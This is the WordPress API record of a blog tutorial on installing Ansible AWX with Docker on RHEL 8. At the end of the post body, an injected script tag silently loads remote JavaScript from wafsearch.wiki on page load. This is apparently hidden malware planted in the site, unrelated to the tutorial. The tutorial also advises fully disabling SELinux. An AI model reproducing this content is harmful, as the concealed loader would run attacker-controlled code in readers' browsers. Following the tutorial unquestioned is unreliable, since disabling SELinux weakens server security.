{"id":1847,"date":"2022-07-09T18:51:44","date_gmt":"2022-07-09T15:51:44","guid":{"rendered":"http:\/\/opensource.sa\/?p=1847"},"modified":"2025-11-26T00:27:05","modified_gmt":"2025-11-25T21:27:05","slug":"ansible-awx-installation-on-rhel-8","status":"publish","type":"post","link":"http:\/\/opensource.sa\/?p=1847","title":{"rendered":"Ansible AWX Installation on RHEL 8"},"content":{"rendered":"<p>In this toturial we shall demostrate all the steps to deploy Ansible AWX on RHEL 8.x servers. Ansible AWX is the community version of Ansible Tower, where system administrators will be able to handle Ansible using the GUI interface.<\/p>\n<p><strong>Configure SELinux<br \/>\n<\/strong><br \/>\nBy default, SELinux is enforcing in CentOS\/RHEL 7\/8. It is recommended to change SELINUX=enforcing to SELINUX=disabled to run Ansible AWX error free:<br \/>\n# nano \/etc\/sysconfig\/selinux<\/p>\n<p>Replace the value &#8220;enforcing&#8221; with &#8220;disabled&#8221;:<br \/>\nSELINUX=disabled<\/p>\n<p><strong>Install EPEL Repository<\/strong><\/p>\n<p>You will need to install the extra packages for enterprise Linux (EPEL) repository on your CentOS\/RHEL 7\/8:<br \/>\n# dnf install https:\/\/dl.fedoraproject.org\/pub\/epel\/epel-release-latest-8.noarch.rpm<\/p>\n<p><strong>Install Required Packages<\/strong><\/p>\n<p>Type below to install these additional packages if you are running a CentOS\/RHEL 8:<br \/>\n# dnf -y install git gcc gcc-c++ ansible nodejs gettext device-mapper-persistent-data lvm2 bzip2 python3-pip wget nano libseccomp<\/p>\n<p><strong>Install Docker<\/strong><\/p>\n<p>Type below to add Docker official repository on CentOS\/RHEL 8:<br \/>\n# dnf config-manager &#8211;add-repo=https:\/\/download.docker.com\/linux\/centos\/docker-ce.repo<br \/>\n# wget https:\/\/download.docker.com\/linux\/centos\/docker-ce.repo &#8211;directory-prefix \/etc\/yum.repos.d\/<\/p>\n<p><strong>Uninstal older Docker or Podman<\/strong><\/p>\n<p># sudo yum remove docker \\<br \/>\ndocker-client \\<br \/>\ndocker-client-latest \\<br \/>\ndocker-common \\<br \/>\ndocker-latest \\<br \/>\ndocker-latest-logrotate \\<br \/>\ndocker-logrotate \\<br \/>\ndocker-engine \\<br \/>\npodman \\<br \/>\nrunc<\/p>\n<p>Next, type below command to install Docker on CentOS\/RHEL 8:<br \/>\n# dnf -y install docker-ce<\/p>\n<p><strong>Change Python3 to be Default<\/strong><\/p>\n<p>Type below command to create python3 alias: (only on CentOS\/RHEL8)<br \/>\n# alternatives &#8211;set python \/usr\/bin\/python3<\/p>\n<p>Verify default python version:<br \/>\n# python &#8211;version<\/p>\n<p>You should see output like below:<br \/>\nPython 3.6.8<\/p>\n<p>Next, start the Docker service and make it persistent even when system reboot with below command:<br \/>\n# systemctl start docker<br \/>\n# systemctl enable docker<\/p>\n<p>Confirm that docker is active and running:<br \/>\n# systemctl status docker<\/p>\n<p><strong>Install pip3 and Update<\/strong><\/p>\n<p># pip3 install -U pip<\/p>\n<p><strong>Install Docker Compose<\/strong><\/p>\n<p>Type below to install Docker Compose on CentOS\/RHEL 7\/8:<br \/>\n# pip3 install setuptools_rust<br \/>\n# pip3 install wheel<br \/>\n# pip3 install docker-compose<\/p>\n<p><strong>Download Ansible AWX<\/strong><\/p>\n<p>We generally recommend that you should view the GitHub releases page before download.<br \/>\nYou can download Ansible AWX version 17.1.0 from the Git Hub repository using the below command:<br \/>\n# cd ~<br \/>\n# git clone -b 17.1.0 https:\/\/github.com\/ansible\/awx.git<\/p>\n<p>When download complete, type below command to generate a secret key using openssl and that key will be used to encrypt inventory file:<br \/>\n# openssl rand -base64 30<\/p>\n<p>Copy your secret key and save it for later use in the inventory file.<\/p>\n<p><strong>Install Ansible AWX<\/strong><\/p>\n<p>You need to edit inventory file like below:<br \/>\n# nano ~\/awx\/installer\/inventory<\/p>\n<p>Find the following directives, uncomment them by removing the #, and update the values accordingly:<br \/>\nadmin_password=StrongPassword<br \/>\nsecret_key=Paste_Your_Secret_Key_Here<br \/>\npg_database=postgres<br \/>\npg_password=StrongPassword<br \/>\nawx_alternate_dns_servers=&#8221;8.8.8.8,8.8.4.4&#8243;<br \/>\npostgres_data_dir=&#8221;\/var\/lib\/awx\/pgdocker&#8221;<br \/>\ndocker_compose_dir=&#8221;\/var\/lib\/awx\/awxcompose&#8221;<br \/>\nproject_data_dir=&#8221;\/var\/lib\/awx\/projects&#8221;<\/p>\n<p>Save and close the file when you are finished.<\/p>\n<p>Type the following command to install AWX:<br \/>\n# ansible-playbook -i ~\/awx\/installer\/inventory ~\/awx\/installer\/install.yml -v<\/p>\n<p>You can verify the running containers with the following command:<br \/>\n# docker ps<\/p>\n<p><strong>Access Ansible AWX From the Web Browser<\/strong><\/p>\n<p>Access AWX Web Interface<br \/>\nOpen up your preferred web browser and type the http:\/\/your-server-ip<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this toturial we shall demostrate all the steps to deploy Ansible AWX on RHEL 8.x servers. Ansible AWX is the community version of Ansible Tower, where system administrators will &#8230;<\/p>\n","protected":false},"author":1,"featured_media":1848,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-1847","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tutorials"],"_links":{"self":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1847","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1847"}],"version-history":[{"count":5,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1847\/revisions"}],"predecessor-version":[{"id":1922,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1847\/revisions\/1922"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/media\/1848"}],"wp:attachment":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1847"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1847"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1847"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}